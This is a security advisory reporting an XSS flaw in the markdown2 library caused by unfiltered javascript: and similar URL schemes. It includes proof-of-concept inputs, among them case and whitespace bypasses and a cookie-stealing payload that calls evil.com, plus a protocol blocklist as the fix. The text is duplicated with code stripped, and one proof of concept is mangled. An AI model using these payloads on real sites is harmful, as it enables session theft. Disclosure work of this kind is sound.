Hello,
I am reporting a security vulnerability in markdown2 through responsible disclosure. If confirmed, I would appreciate a CVE identifier being requested after a patch is available.
Summary
| Field |
Value |
| Package |
markdown2 |
| Affected versions |
<= 2.5.5 (latest) |
| Vulnerability |
XSS via unfiltered javascript: protocol in Markdown URL rendering |
| CWE |
CWE-79 |
| CVSS 3.1 |
6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| Affected functions |
markdown(), Markdown.convert(), MarkdownWithExtras.convert() |
Description
markdown2 does not filter dangerous URI schemes (javascript:, vbscript:, data:) when converting Markdown link and image syntax to HTML. This allows an attacker who controls Markdown input to inject executable JavaScript via <a href="javascript:..."> or <img src="javascript:..."> in the rendered output.
The safe_mode option is opt-in (default None) and incomplete: even safe_mode='escape' does not sanitize URL schemes in <img> tags, leaving image-based XSS vectors unprotected regardless of the setting.
Proof of Concept
import markdown2
# PoC 1 — basic link XSS
print(markdown2.markdown("[click](javascript:alert('xss'))"))
# <p><a href="javascript:alert('xss')">click</a></p>
# PoC 2 — image tag XSS
print(markdown2.markdown(')'))
# <p><img src="javascript:alert(1)" alt="img" /></p>
# PoC 3 — case-insensitive bypass
print(markdown2.markdown('[link](JAVASCRIPT:alert(1))'))
# <p><a href="JAVASCRIPT:alert(1)">link</a></p>
# PoC 4 — leading whitespace bypass
print(markdown2.markdown('[x]( javascript:alert(1))'))
# <p><a href=" javascript:alert(1)">x</a></p>
# PoC 5 — vbscript: (Internet Explorer)
print(markdown2.markdown('[link](vbscript:msgbox(1))'))
# <p><a href="vbscript:msgbox(1)">link</a></p>
# PoC 6 — cookie theft via stored XSS
payload = "[read more](javascript:fetch('https://evil.com/steal?c='+document.cookie))"
print(markdown2.markdown(payload))
# <p><a href="javascript:fetch(...)">read more</a></p>
Root Cause
No URL scheme validation is applied to href or src attributes during rendering. The safe_mode option is opt-in and its 'escape' mode only escapes raw HTML—it does not check the URL scheme. The <img> rendering path bypasses the safe_mode branch entirely.
For comparison, mistune protects against this with an explicit blocklist:
# mistune — safe
HARMFUL_PROTOCOLS = re.compile(r'javascript:|vbscript:|data:', re.IGNORECASE)
def safe_url(url):
if HARMFUL_PROTOCOLS.match(url):
return '#harmful-link'
return url
markdown2 has no equivalent protection.
Impact
- Session hijacking — attacker steals
document.cookie
- Account takeover — attacker acts on behalf of the victim
- Stored XSS — in forums, wikis, comment systems storing user Markdown, the payload persists and fires for every subsequent viewer
- False safety —
safe_mode='escape' does not prevent image-based XSS, providing a misleading sense of security
Attack Scenario
- A web application lets users author content in Markdown.
- The application renders it with
markdown2.markdown(user_input) (default settings).
- An attacker submits
[innocent text](javascript:malicious_code).
- Other users who view the rendered page and click the link execute the attacker's JavaScript.
- Cookies, session tokens, or credentials are exfiltrated; or actions are performed on the victim's behalf.
Remediation
Apply a URL scheme blocklist unconditionally to every generated href and src attribute (not only when safe_mode is active):
import re
HARMFUL_PROTOCOLS = re.compile(r'^\s*(javascript|vbscript|data):', re.IGNORECASE)
def _sanitize_url(url):
"""Block dangerous URI schemes that can execute scripts."""
if HARMFUL_PROTOCOLS.match(url):
return '#harmful-link'
return url
As a short-term workaround, users should post-process rendered HTML with a dedicated HTML sanitizer such as bleach or nh3 that enforces an allowlist of safe URL schemes.
Timeline
| Date |
Event |
| 2026-07-01 |
Vulnerability discovered and report drafted |
| 2026-07-01 |
Responsible disclosure submitted |
References
Hello,
I am reporting a security vulnerability in
markdown2through responsible disclosure. If confirmed, I would appreciate a CVE identifier being requested after a patch is available.Summary
javascript:protocol in Markdown URL renderingmarkdown(),Markdown.convert(),MarkdownWithExtras.convert()Description
markdown2does not filter dangerous URI schemes (javascript:,vbscript:,data:) when converting Markdown link and image syntax to HTML. This allows an attacker who controls Markdown input to inject executable JavaScript via<a href="javascript:...">or<img src="javascript:...">in the rendered output.The
safe_modeoption is opt-in (defaultNone) and incomplete: evensafe_mode='escape'does not sanitize URL schemes in<img>tags, leaving image-based XSS vectors unprotected regardless of the setting.Proof of Concept
Root Cause
No URL scheme validation is applied to
hreforsrcattributes during rendering. Thesafe_modeoption is opt-in and its'escape'mode only escapes raw HTML—it does not check the URL scheme. The<img>rendering path bypasses thesafe_modebranch entirely.For comparison,
mistuneprotects against this with an explicit blocklist:markdown2has no equivalent protection.Impact
document.cookiesafe_mode='escape'does not prevent image-based XSS, providing a misleading sense of securityAttack Scenario
markdown2.markdown(user_input)(default settings).[innocent text](javascript:malicious_code).Remediation
Apply a URL scheme blocklist unconditionally to every generated
hrefandsrcattribute (not only whensafe_modeis active):As a short-term workaround, users should post-process rendered HTML with a dedicated HTML sanitizer such as
bleachornh3that enforces an allowlist of safe URL schemes.Timeline
References